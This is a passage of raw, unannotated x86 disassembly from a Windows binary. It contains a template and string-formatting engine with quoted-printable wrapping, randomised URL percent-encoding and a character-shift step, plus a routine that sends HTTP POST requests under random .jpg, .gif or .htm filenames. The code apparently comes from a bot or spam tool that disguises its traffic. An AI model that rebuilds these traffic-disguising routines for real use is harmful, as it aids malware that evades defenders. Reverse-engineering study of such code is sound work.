		mov	edx, [ebp+arg_4]
		mov	ebx, esi
		mov	[ebp+arg_18], edx
		jmp	short loc_407A6B
; ---------------------------------------------------------------------------


loc_407A54:				; CODE XREF: sub_4074FB+54Dj
		cmp	cl, 3Ch
		jnz	short loc_407A62
		mov	[ebp+arg_4], 1
		jmp	short loc_407A6B
; ---------------------------------------------------------------------------


loc_407A62:				; CODE XREF: sub_4074FB+55Cj
		cmp	cl, 3Eh
		jnz	short loc_407A6B
		and	[ebp+arg_4], 0


loc_407A6B:				; CODE XREF: sub_4074FB+557j
					; sub_4074FB+565j ...
		cmp	cl, 0Dh
		jnz	short loc_407A77
		cmp	byte ptr [esi+edi+1], 0Ah
		jz	short loc_407A7F


loc_407A77:				; CODE XREF: sub_4074FB+573j
		mov	ecx, [ebp+arg_8]
		dec	ecx
		cmp	esi, ecx
		jnz	short loc_407A97


loc_407A7F:				; CODE XREF: sub_4074FB+57Aj
		lea	ecx, [eax+1]
		push	ecx
		mov	ecx, esi
		sub	ecx, eax
		lea	eax, [ecx+edi+1]
		push	eax
		lea	ecx, [ebp+var_4]
		call	sub_40DBA2
		inc	esi
		jmp	short loc_407AD5
; ---------------------------------------------------------------------------


loc_407A97:				; CODE XREF: sub_4074FB+582j
		cmp	eax, 49h
		jl	short loc_407ADA
		cmp	ebx, 0FFFFFFFFh
		jle	short loc_407ADA
		mov	ecx, ebx
		sub	ecx, esi
		lea	ecx, [ecx+eax-1]
		sub	esi, eax
		push	ecx
		lea	eax, [esi+edi+1]
		lea	ecx, [ebp+var_4]
		push	eax
		call	sub_40DBA2
		cmp	[ebp+arg_18], 0
		lea	ecx, [ebp+var_4]
		jz	short loc_407AC9
		push	offset asc_41BF00 ; "\r\n "
		jmp	short loc_407ACE
; ---------------------------------------------------------------------------


loc_407AC9:				; CODE XREF: sub_4074FB+5C5j
		push	offset asc_41BEFC ; "\r\n"


loc_407ACE:				; CODE XREF: sub_4074FB+5CCj
		call	sub_401AA0
		mov	esi, ebx


loc_407AD5:				; CODE XREF: sub_4074FB+59Aj
		xor	eax, eax
		or	ebx, 0FFFFFFFFh


loc_407ADA:				; CODE XREF: sub_4074FB+59Fj
					; sub_4074FB+5A4j
		inc	esi
		inc	eax
		cmp	esi, [ebp+arg_8]
		jl	loc_407A42
		jmp	loc_407D5F
; ---------------------------------------------------------------------------


loc_407AEA:				; CODE XREF: sub_4074FB+27j
					; DATA XREF: .text:off_407D7Bo
		lea	edi, [eax+1]	; jumptable 00407522 case 74
		push	edi
		call	sub_40CD83
		mov	[ebp+arg_4], eax
		xor	eax, eax
		xor	esi, esi
		inc	eax
		or	ebx, 0FFFFFFFFh
		cmp	[ebp+arg_4], esi
		pop	ecx
		jle	loc_407D5F


loc_407B08:				; CODE XREF: sub_4074FB+696j
		mov	cl, [esi+edi]
		cmp	cl, 20h
		jnz	short loc_407B12
		mov	ebx, esi


loc_407B12:				; CODE XREF: sub_4074FB+613j
		cmp	cl, 0Dh
		jnz	short loc_407B1E
		cmp	byte ptr [esi+edi+1], 0Ah
		jz	short loc_407B26


loc_407B1E:				; CODE XREF: sub_4074FB+61Aj
		mov	ecx, [ebp+arg_4]
		dec	ecx
		cmp	esi, ecx
		jnz	short loc_407B3E


loc_407B26:				; CODE XREF: sub_4074FB+621j
		lea	ecx, [eax+1]
		push	ecx
		mov	ecx, esi
		sub	ecx, eax
		lea	eax, [ecx+edi+1]
		push	eax
		lea	ecx, [ebp+var_4]
		call	sub_40DBA2
		inc	esi
		jmp	short loc_407B87
; ---------------------------------------------------------------------------


loc_407B3E:				; CODE XREF: sub_4074FB+629j
		cmp	eax, 55h
		jnz	short loc_407B8C
		cmp	ebx, 0FFFFFFFFh
		lea	ecx, [ebp+var_4]
		jle	short loc_407B6E
		mov	eax, ebx
		sub	eax, esi
		add	eax, 54h
		push	eax
		lea	eax, [esi+edi-54h]
		push	eax
		call	sub_40DBA2
		push	offset a20	; "=20\r\n"
		lea	ecx, [ebp+var_4]
		call	sub_401AA0
		mov	esi, ebx
		jmp	short loc_407B87
; ---------------------------------------------------------------------------


loc_407B6E:				; CODE XREF: sub_4074FB+64Ej
		push	55h
		lea	eax, [esi+edi-54h]
		push	eax
		call	sub_40DBA2
		push	offset asc_41BF04 ; "=\r\n"
		lea	ecx, [ebp+var_4]
		call	sub_401AA0


loc_407B87:				; CODE XREF: sub_4074FB+641j
					; sub_4074FB+671j
		xor	eax, eax
		or	ebx, 0FFFFFFFFh


loc_407B8C:				; CODE XREF: sub_4074FB+646j
		inc	esi
		inc	eax
		cmp	esi, [ebp+arg_4]
		jl	loc_407B08
		jmp	loc_407D5F
; ---------------------------------------------------------------------------


loc_407B9C:				; CODE XREF: sub_4074FB+27j
					; DATA XREF: .text:off_407D7Bo
		push	0		; jumptable 00407522 case 78
		push	dword ptr [edi+4]
		lea	ecx, [ebp+var_4]
		call	sub_40DB5E
		push	2Eh
		push	[ebp+var_4]
		call	sub_40CECD
		inc	eax
		push	2Eh
		push	eax
		call	sub_40CECD
		add	esp, 10h


loc_407BBF:				; CODE XREF: sub_4074FB+834j
		mov	byte ptr [eax],	0
		jmp	loc_407D5F
; ---------------------------------------------------------------------------


loc_407BC7:				; CODE XREF: sub_4074FB+27j
					; DATA XREF: .text:off_407D7Bo
		push	0		; jumptable 00407522 case 75
		push	dword ptr [edi+4]
		jmp	loc_407D57
; ---------------------------------------------------------------------------


loc_407BD1:				; CODE XREF: sub_4074FB+27j
					; DATA XREF: .text:off_407D7Bo
		push	eax		; jumptable 00407522 case 90
		xor	esi, esi
		call	sub_40CD83
		cmp	eax, 1
		pop	ecx
		jbe	short loc_407BEB
		mov	eax, [ebx]
		inc	eax
		push	eax
		call	sub_40CE59
		pop	ecx
		mov	esi, eax


loc_407BEB:				; CODE XREF: sub_4074FB+6E2j
		push	0Ch
		lea	ecx, [ebp+var_4]
		call	sub_40DADA
		push	0
		call	sub_40CFAE
		add	eax, esi
		push	eax
		lea	eax, [ebp+var_4]
		push	offset aLx	; "%lX"
		push	eax
		call	sub_40DB15
		add	esp, 10h
		jmp	loc_407D5F
; ---------------------------------------------------------------------------


loc_407C15:				; CODE XREF: sub_4074FB+27j
					; DATA XREF: .text:off_407D7Bo
		cmp	[ebp+arg_4], 0	; jumptable 00407522 case 69
		jz	short loc_407C28
		push	0
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_4]
		call	sub_40DB5E


loc_407C28:				; CODE XREF: sub_4074FB+71Ej
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		jmp	short loc_407C38
; ---------------------------------------------------------------------------


loc_407C2F:				; CODE XREF: sub_4074FB+740j
		add	byte ptr [eax],	3
		mov	eax, [ebp+var_4]
		inc	ecx
		add	eax, ecx


loc_407C38:				; CODE XREF: sub_4074FB+732j
		cmp	byte ptr [eax],	0
		jnz	short loc_407C2F
		jmp	loc_407D5F
; ---------------------------------------------------------------------------


loc_407C42:				; CODE XREF: sub_4074FB+27j
					; DATA XREF: .text:off_407D7Bo
		push	4		; jumptable 00407522 case 73
		lea	ecx, [ebp+var_4]
		call	sub_40DADA
		call	sub_40CF34
		imul	eax, 0D8h
		cdq
		mov	ecx, 7FFFh
		idiv	ecx
		add	eax, 18h
		jmp	loc_4077A3
; ---------------------------------------------------------------------------


loc_407C67:				; CODE XREF: sub_4074FB+27j
					; DATA XREF: .text:off_407D7Bo
		cmp	dword ptr [edi+8], 0 ; jumptable 00407522 case 70
		jz	loc_407D5F
		mov	edi, [edi+8]
		mov	edx, [edi]
		lea	ecx, [ebp+var_4]
		push	ecx
		inc	eax
		push	eax
		mov	ecx, edi
		call	dword ptr [edx]
		jmp	loc_407D5F
; ---------------------------------------------------------------------------


loc_407C85:				; CODE XREF: sub_4074FB+27j
					; DATA XREF: .text:off_407D7Bo
		xor	esi, esi	; jumptable 00407522 case 85
		inc	esi
		cmp	byte ptr [eax+1], 0
		jz	loc_407D5F
		mov	edi, ebx


loc_407C94:				; CODE XREF: sub_4074FB+7F7j
		mov	al, [eax+esi]
		cmp	al, 2Eh
		jz	short loc_407CDC
		cmp	al, 2Fh
		jz	short loc_407CDC
		cmp	al, 3Fh
		jz	short loc_407CDC
		call	sub_40CF34
		and	eax, 80000001h
		jns	short loc_407CB4
		dec	eax
		or	eax, 0FFFFFFFEh
		inc	eax


loc_407CB4:				; CODE XREF: sub_4074FB+7B2j
		jz	short loc_407CDC
		mov	eax, [edi]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		lea	eax, [ebp+var_2C]
		push	offset a02x	; "%%%02x"
		push	eax
		call	sub_40CE18
		add	esp, 0Ch
		lea	eax, [ebp+var_2C]
		push	eax
		lea	ecx, [ebp+var_4]
		call	sub_401AA0
		jmp	short loc_407CEB
; ---------------------------------------------------------------------------


loc_407CDC:				; CODE XREF: sub_4074FB+79Ej
					; sub_4074FB+7A2j ...
		mov	eax, [edi]
		movzx	eax, byte ptr [esi+eax]
		push	eax
		lea	ecx, [ebp+var_4]
		call	sub_40707B


loc_407CEB:				; CODE XREF: sub_4074FB+7DFj
		mov	eax, [edi]
		inc	esi
		cmp	byte ptr [eax+esi], 0
		jnz	short loc_407C94
		jmp	short loc_407D5F
; ---------------------------------------------------------------------------


loc_407CF6:				; CODE XREF: sub_4074FB+27j
					; DATA XREF: .text:off_407D7Bo
		inc	eax		; jumptable 00407522 case 83
		jz	short loc_407D04
		push	0
		push	eax
		lea	ecx, [ebp+var_4]
		call	sub_40DB5E


loc_407D04:				; CODE XREF: sub_4074FB+7FCj
		push	[ebp+var_4]
		mov	ecx, edi
		call	sub_407288
		jmp	short loc_407D5F
; ---------------------------------------------------------------------------


loc_407D10:				; CODE XREF: sub_4074FB+27j
					; DATA XREF: .text:off_407D7Bo
		cmp	[ebp+arg_4], 0	; jumptable 00407522 case 88
		jz	short loc_407D23
		push	0
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_4]
		call	sub_40DB5E


loc_407D23:				; CODE XREF: sub_4074FB+819j
		push	40h
		push	[ebp+var_4]
		call	sub_40CECD
		pop	ecx
		pop	ecx
		jmp	loc_407BBF
; ---------------------------------------------------------------------------


loc_407D34:				; CODE XREF: sub_4074FB+21j
					; sub_4074FB+27j
					; DATA XREF: ...
		push	ecx		; default
					; jumptable 00407522 case 84
		call	sub_40CE2C
		test	eax, eax
		pop	ecx
		jz	short loc_407D5F
		mov	eax, ebx
		push	dword ptr [eax]
		call	sub_40CE59
		imul	eax, 12Ch
		add	eax, [ebp+arg_4]
		pop	ecx


loc_407D52:				; CODE XREF: sub_4074FB+1B6j
					; sub_4074FB+1E7j
		jz	short loc_407D5F
		push	0
		push	eax


loc_407D57:				; CODE XREF: sub_4074FB+43Aj
					; sub_4074FB+6D1j
		lea	ecx, [ebp+var_4]
		call	sub_40DB5E


loc_407D5F:				; CODE XREF: sub_4074FB+106j
					; sub_4074FB+12Dj ...
		mov	ecx, [ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_40DC39
		lea	ecx, [ebp+var_4]
		call	sub_40DB59
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	1Ch
sub_4074FB	endp

; ---------------------------------------------------------------------------
		db 90h
off_407D7B	dd offset loc_407931	; DATA XREF: sub_4074FB+27r
		dd offset loc_4078D3	; jump table for switch	statement
		dd offset loc_407696
		dd offset loc_4076E7
		dd offset loc_407C15
		dd offset loc_407C67
		dd offset loc_407A1E
		dd offset loc_4076B6
		dd offset loc_407C42
		dd offset loc_407AEA
		dd offset loc_407BC7
		dd offset loc_4077BA
		dd offset loc_407606
		dd offset loc_407B9C
		dd offset loc_407839
		dd offset loc_40762D
		dd offset loc_40793A
		dd offset loc_407737
		dd offset loc_407CF6
		dd offset loc_407D34
		dd offset loc_407C85
		dd offset loc_4076D2
		dd offset loc_407716
		dd offset loc_407D10
		dd offset loc_407529
		dd offset loc_407BD1

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407DE3	proc near		; CODE XREF: sub_407DE3+90p
					; sub_407F86+87p

var_FB8		= dword	ptr -0FB8h
var_FB4		= dword	ptr -0FB4h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 0FB8h
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		lea	eax, [ebp+var_FB8]
		push	eax
		push	dword ptr [esi]
		mov	[ebp+var_10], ecx
		call	sub_4073D3
		test	eax, eax
		mov	edi, [ebp+arg_C]
		mov	[ebp+var_8], eax
		jz	loc_407F5E
		push	ebx


loc_407E11:				; CODE XREF: sub_407DE3+174j
		lea	ecx, [ebp+arg_C]
		call	sub_40DB48
		and	[ebp+var_C], 0
		cmp	[ebp+var_8], 0
		jle	loc_407F39


loc_407E27:				; CODE XREF: sub_407DE3+150j
		lea	ecx, [ebp+arg_0]
		call	sub_40DB48
		mov	eax, [ebp+var_C]
		shl	eax, 3
		mov	ecx, [ebp+eax+var_FB4]
		mov	eax, [ebp+eax+var_FB8]
		push	ecx
		mov	[ebp+var_14], ecx
		mov	ecx, [esi]
		add	ecx, eax
		push	ecx
		lea	ecx, [ebp+arg_0]
		mov	[ebp+var_4], eax
		call	sub_40DB5E
		push	[ebp+arg_1C]
		mov	ecx, [ebp+var_10]
		push	[ebp+arg_18]
		inc	dword ptr [edi]
		push	[ebp+arg_14]
		lea	eax, [ebp+arg_0]
		push	[ebp+arg_10]
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_407DE3
		dec	dword ptr [edi]
		xor	ebx, ebx
		cmp	[ebp+arg_0], ebx
		jz	short loc_407E8C
		push	[ebp+arg_0]
		call	sub_40CD83
		pop	ecx
		mov	ebx, eax


loc_407E8C:				; CODE XREF: sub_407DE3+9Cj
		mov	eax, [ebp+var_4]
		lea	ecx, [eax-2]
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_14]
		add	eax, ecx
		mov	ecx, [esi]
		mov	[ebp+var_18], eax
		lea	eax, [eax+ecx+2]
		push	eax
		call	sub_40CD83
		add	eax, [ebp+var_4]
		pop	ecx
		lea	eax, [eax+ebx+1]
		push	eax
		lea	ecx, [ebp+arg_C]
		call	sub_40DADA
		push	[ebp+var_4]
		push	dword ptr [esi]
		push	[ebp+arg_C]
		call	sub_40CD9D
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_4]
		push	ebx
		push	[ebp+arg_0]
		add	ecx, eax
		push	ecx
		call	sub_40CD9D
		mov	eax, [esi]
		mov	ecx, [ebp+var_18]
		lea	eax, [ecx+eax+2]
		push	eax
		mov	eax, [ebp+var_4]
		add	eax, ebx
		add	eax, [ebp+arg_C]
		push	eax
		call	sub_40CD8E
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		add	esp, 20h
		dec	eax
		cmp	ecx, eax
		jge	short loc_407F17
		sub	ebx, [ebp+var_14]
		lea	eax, [ecx+1]
		sub	ebx, 4
		jmp	short loc_407F12
; ---------------------------------------------------------------------------


loc_407F0A:				; CODE XREF: sub_407DE3+132j
		add	[ebp+eax*8+var_FB8], ebx
		inc	eax


loc_407F12:				; CODE XREF: sub_407DE3+125j
		cmp	eax, [ebp+var_8]
		jl	short loc_407F0A


loc_407F17:				; CODE XREF: sub_407DE3+11Aj
		lea	eax, [ebp+arg_C]
		push	eax
		mov	ecx, esi
		call	sub_40DC39
		lea	ecx, [ebp+arg_0]
		call	sub_40DB59
		inc	[ebp+var_C]
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+var_8]
		jl	loc_407E27


loc_407F39:				; CODE XREF: sub_407DE3+3Ej
		lea	ecx, [ebp+arg_C]
		call	sub_40DB59
		mov	ecx, [ebp+var_10]
		lea	eax, [ebp+var_FB8]
		push	eax
		push	dword ptr [esi]
		call	sub_4073D3
		test	eax, eax
		mov	[ebp+var_8], eax
		jnz	loc_407E11
		pop	ebx


loc_407F5E:				; CODE XREF: sub_407DE3+27j
		cmp	dword ptr [edi], 0
		jz	short loc_407F7E
		push	[ebp+arg_1C]
		mov	ecx, [ebp+var_10]
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_4074FB


loc_407F7E:				; CODE XREF: sub_407DE3+17Ej
		mov	eax, [esi]
		pop	edi
		pop	esi
		leave
		retn	20h
sub_407DE3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407F86	proc near		; CODE XREF: sub_402624+1EDp

var_60		= dword	ptr -60h
var_38		= byte ptr -38h
var_28		= byte ptr -28h
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 60h
		push	ebx
		push	esi
		push	edi
		push	0Ah
		mov	ebx, ecx
		xor	eax, eax
		and	[ebp+var_8], eax
		pop	ecx
		lea	edi, [ebp+var_60]
		rep stosd
		lea	eax, [ebp+var_28]
		push	eax
		call	ds:dword_418134
		lea	eax, [ebp+var_38]
		push	eax
		call	ds:dword_418130
		mov	esi, ds:dword_41812C
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		call	esi
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	esi
		call	ds:dword_4180CC
		push	eax
		call	sub_40CF2A
		pop	ecx
		call	sub_40CF34
		imul	eax, 1Eh
		cdq
		mov	ecx, 7FFFh
		idiv	ecx
		and	[ebp+var_4], 0
		lea	ecx, [ebp+var_4]
		push	ecx
		mov	ecx, ebx
		add	eax, 5
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_60]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_407DE3
		mov	edi, eax
		xor	esi, esi


loc_408016:				; CODE XREF: sub_407F86+A3j
		mov	eax, [ebp+esi*4+var_60]
		test	eax, eax
		jz	short loc_408025
		push	eax
		call	sub_40CCC5
		pop	ecx


loc_408025:				; CODE XREF: sub_407F86+96j
		inc	esi
		cmp	esi, 0Ah
		jl	short loc_408016
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_407F86	endp


; =============== S U B	R O U T	I N E =======================================



sub_408034	proc near		; CODE XREF: sub_402BAC+15p
					; sub_402C05+16p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		push	edi
		mov	edi, [esp+8+arg_0]
		jz	short loc_40804D
		cmp	edi, eax
		jz	short loc_40804D
		push	eax
		call	sub_40D0B6
		pop	ecx


loc_40804D:				; CODE XREF: sub_408034+Cj
					; sub_408034+10j
		mov	[esi], edi
		mov	eax, edi
		pop	edi
		pop	esi
		retn	4
sub_408034	endp


; =============== S U B	R O U T	I N E =======================================



sub_408056	proc near		; CODE XREF: sub_408361+1F8p
		push	esi
		mov	esi, ecx
		push	dword ptr [esi+102Ch]
		call	ds:dword_41817C
		lea	ecx, [esi+1030h]
		call	sub_40DB59
		lea	ecx, [esi+20h]
		call	sub_401205
		push	offset dword_421D04
		call	ds:dword_4180E8
		pop	esi
		retn
sub_408056	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408085	proc near		; CODE XREF: sub_40856C+BFp
					; sub_41651F+C5p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	8
		mov	esi, ecx
		call	sub_40D0BB
		pop	ecx
		mov	ecx, [ebp+arg_0]
		mov	[eax+4], ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		xor	ecx, ecx
		push	ecx
		push	eax
		push	offset sub_4163B7
		push	ecx
		push	ecx
		mov	[eax], esi
		call	ds:dword_4180BC
		push	eax
		call	ds:dword_4180A4
		mov	eax, [ebp+var_4]
		pop	esi
		leave
		retn	4
sub_408085	endp


; =============== S U B	R O U T	I N E =======================================



sub_4080C0	proc near		; CODE XREF: sub_40856C+29p

arg_0		= byte ptr  4

		push	ebx
		push	esi
		push	edi
		mov	ebx, ecx
		and	dword ptr [ebx+4], 0
		lea	edi, [ebx+10h]
		lea	esi, [esp+0Ch+arg_0]
		movsd
		movsd
		movsd
		push	offset dword_421D04
		movsd
		mov	[ebx+8], ebx
		call	ds:dword_4180E4
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn	10h
sub_4080C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4080EA	proc near		; CODE XREF: sub_408361+169p

var_1070	= byte ptr -1070h
var_6C		= byte ptr -6Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1070h
		call	sub_4011B0
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	8
		lea	eax, [ebp+var_24]
		mov	edi, ecx
		push	ebx
		push	eax
		mov	[ebp+var_1C], edi
		mov	[ebp+var_1], bl
		mov	[ebp+var_30], offset aJpg ; "jpg"
		mov	[ebp+var_2C], offset aGif ; "gif"
		mov	[ebp+var_28], offset aHtm ; "htm"
		call	sub_40CCD9
		add	esp, 0Ch
		xor	esi, esi


loc_40812A:				; CODE XREF: sub_4080EA+56j
		call	sub_40CF34
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[ebp+esi+var_24], dl
		inc	esi
		cmp	esi, 3
		jl	short loc_40812A
		lea	eax, [ebp+var_24]
		push	offset a__0	; "."
		push	eax
		call	sub_40CDD6
		call	sub_40CF34
		push	3
		pop	ecx
		xor	edx, edx
		div	ecx
		lea	eax, [ebp+var_24]
		push	[ebp+edx*4+var_30]
		push	eax
		call	sub_40CDD6
		add	esp, 10h
		push	ebx
		push	80400100h
		push	ebx
		push	ebx
		push	ebx
		lea	eax, [ebp+var_24]
		push	eax
		push	offset aPost	; "POST"
		push	dword ptr [edi+102Ch]
		call	ds:dword_418178
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_408357
		push	0Ch
		pop	ecx
		push	[ebp+arg_4]
		mov	esi, offset aContentTypeApp ; "Content-Type: application/x-www-form-ur"...
		push	[ebp+arg_0]
		lea	edi, [ebp+var_6C]
		rep movsd
		lea	eax, [ebp+var_6C]
		push	eax
		movsw
		call	sub_40CD83
		pop	ecx
		push	eax
		lea	eax, [ebp+var_6C]
		push	eax
		push	[ebp+var_8]
		call	ds:dword_418164
		test	eax, eax
		jz	loc_40834E
		mov	esi, ds:dword_418170
		mov	[ebp+arg_4], ebx
		mov	[ebp+var_10], ebx
		mov	[ebp+var_18], ebx
		mov	[ebp+var_14], ebx
		jmp	loc_40827B
; ---------------------------------------------------------------------------


loc_4081E1:				; CODE XREF: sub_4080EA+19Ej
		cmp	[ebp+arg_4], ebx
		jbe	loc_40828E
		lea	ecx, [ebp+arg_0]
		call	sub_40DB48
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		lea	ecx, [ebp+arg_0]
		call	sub_40DADA
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	[ebp+var_8]
		call	ds:dword_41816C
		test	eax, eax
		jz	short loc_40822F
		mov	eax, [ebp+var_34]
		add	[ebp+var_10], eax
		lea	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_18]
		call	sub_403E90
		mov	ecx, eax
		call	sub_40DC39


loc_40822F:				; CODE XREF: sub_4080EA+12Aj
		mov	edi, [ebp+var_1C]
		push	1004h
		lea	eax, [edi+24h]
		push	eax
		lea	eax, [ebp+var_1070]
		push	eax
		call	sub_40CCF7
		add	esp, 0Ch
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_1070]
		push	eax
		mov	eax, [edi+1028h]
		inc	eax
		push	eax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 0Ah
		call	ds:dword_4181A4
		test	eax, eax
		lea	ecx, [ebp+arg_0]
		jnz	short loc_4082DD
		call	sub_40DB59


loc_40827B:				; CODE XREF: sub_4080EA+F2j
		push	ebx
		push	ebx
		lea	eax, [ebp+arg_4]
		push	eax
		push	[ebp+var_8]
		call	esi
		test	eax, eax
		jnz	loc_4081E1


loc_40828E:				; CODE XREF: sub_4080EA+FAj
		mov	eax, [ebp+var_10]
		inc	eax
		push	eax
		mov	[ebp+var_C], eax
		call	sub_40C9F2
		cmp	[ebp+var_14], ebx
		mov	esi, eax
		pop	ecx
		mov	[esi], bl
		jbe	short loc_4082C7
		mov	eax, [ebp+var_14]
		mov	edi, [ebp+var_18]
		mov	[ebp+arg_0], eax


loc_4082AE:				; CODE XREF: sub_4080EA+1DBj
		push	dword ptr [edi]
		push	esi
		call	sub_40CDD6
		pop	ecx
		pop	ecx
		mov	ecx, edi
		call	sub_40DB00
		add	edi, 4
		dec	[ebp+arg_0]
		jnz	short loc_4082AE


loc_4082C7:				; CODE XREF: sub_4080EA+1B9j
		mov	cl, 1
		xor	eax, eax


loc_4082CB:				; CODE XREF: sub_4080EA+1EFj
		cmp	eax, [ebp+var_10]
		jnb	short loc_4082E6
		cmp	[eax+esi], bl
		jz	short loc_4082E4
		inc	eax
		cmp	eax, 4
		jb	short loc_4082CB
		jmp	short loc_4082E6
; ---------------------------------------------------------------------------


loc_4082DD:				; CODE XREF: sub_4080EA+18Aj
		call	sub_40DB59
		jmp	short loc_408346
; ---------------------------------------------------------------------------


loc_4082E4:				; CODE XREF: sub_4080EA+1E9j
		xor	cl, cl


loc_4082E6:				; CODE XREF: sub_4080EA+1E4j
					; sub_4080EA+1F1j
		cmp	cl, bl
		mov	edi, esi
		jz	short loc_40830D
		push	[ebp+var_C]
		call	sub_40C9F2
		mov	edi, eax
		lea	eax, [ebp+var_C]
		push	eax
		push	edi
		push	[ebp+var_10]
		push	esi
		call	sub_40C4D1
		push	esi
		call	sub_40CA06
		add	esp, 18h


loc_40830D:				; CODE XREF: sub_4080EA+200j
		mov	esi, [ebp+var_1C]
		mov	ecx, [esi+20h]
		mov	eax, [ecx]
		push	ebx
		push	4
		lea	edx, [ebp+var_C]
		push	edx
		call	dword ptr [eax+8]
		mov	ecx, [esi+20h]
		lea	edx, [ebp+var_38]
		push	edx
		push	[ebp+var_C]
		mov	[ebp+var_38], 1Eh
		mov	eax, [ecx]
		push	edi
		call	dword ptr [eax+8]
		cmp	eax, [ebp+var_C]
		jnz	short loc_40833F
		mov	[ebp+var_1], 1


loc_40833F:				; CODE XREF: sub_4080EA+24Fj
		push	edi
		call	sub_40CA06
		pop	ecx


loc_408346:				; CODE XREF: sub_4080EA+1F8j
		lea	ecx, [ebp+var_18]
		call	sub_401F85


loc_40834E:				; CODE XREF: sub_4080EA+DAj
		push	[ebp+var_8]
		call	ds:dword_41817C


loc_408357:				; CODE XREF: sub_4080EA+A5j
		mov	al, [ebp+var_1]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_4080EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408361	proc near		; DATA XREF: sub_40856C+Bo

var_1024	= byte ptr -1024h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 1024h
		call	sub_4011B0
		push	ebx
		push	esi
		mov	ebx, ecx
		mov	ecx, [ebx+20h]
		push	edi
		lea	edi, [ebx+24h]
		and	dword ptr [edi], 0
		push	edi
		call	sub_40D686
		mov	ecx, [ebx+20h]
		lea	esi, [ebx+1028h]
		and	dword ptr [esi], 0
		push	esi
		call	sub_40D6D7
		push	1004h
		lea	eax, [ebp+var_1024]
		push	edi
		push	eax
		call	sub_40CCF7
		add	esp, 0Ch
		lea	eax, [ebp+var_20]
		push	eax
		xor	edi, edi
		push	edi
		lea	eax, [ebp+var_1024]
		push	edi
		push	eax
		mov	eax, [esi]
		jmp	loc_40851A
; ---------------------------------------------------------------------------


loc_4083BF:				; CODE XREF: sub_408361+1CDj
		mov	ecx, [ebx+20h]
		lea	eax, [ebp+var_1024]
		push	eax
		call	sub_40D6C2
		test	al, al
		jz	loc_4084ED
		mov	ecx, [ebx+20h]
		lea	edx, [ebp+var_18]
		push	edx
		push	4
		lea	edx, [ebp+var_C]
		mov	[ebp+var_18], 1Eh
		mov	eax, [ecx]
		push	edx
		call	dword ptr [eax+4]
		cmp	eax, 4
		jnz	loc_408557
		mov	eax, [ebp+var_C]
		lea	ecx, [eax-1]
		cmp	ecx, 7CFFEh
		ja	loc_408557
		push	eax
